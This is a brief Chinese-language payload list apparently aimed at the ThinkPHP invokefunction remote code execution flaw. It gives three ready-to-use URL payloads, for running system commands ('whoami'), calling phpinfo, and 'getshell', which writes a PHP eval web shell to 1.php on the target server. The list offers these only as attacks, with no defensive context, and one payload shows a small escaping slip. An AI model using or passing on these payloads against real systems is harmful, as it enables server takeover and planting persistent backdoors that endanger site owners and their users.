1.远程命令执行
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=whoami
2.远程代码执行
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars0=phpinfo&vars1\[\]=-1
3.getshell
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=echo '<?php @eval($_POSTcmd);?>' >1.php
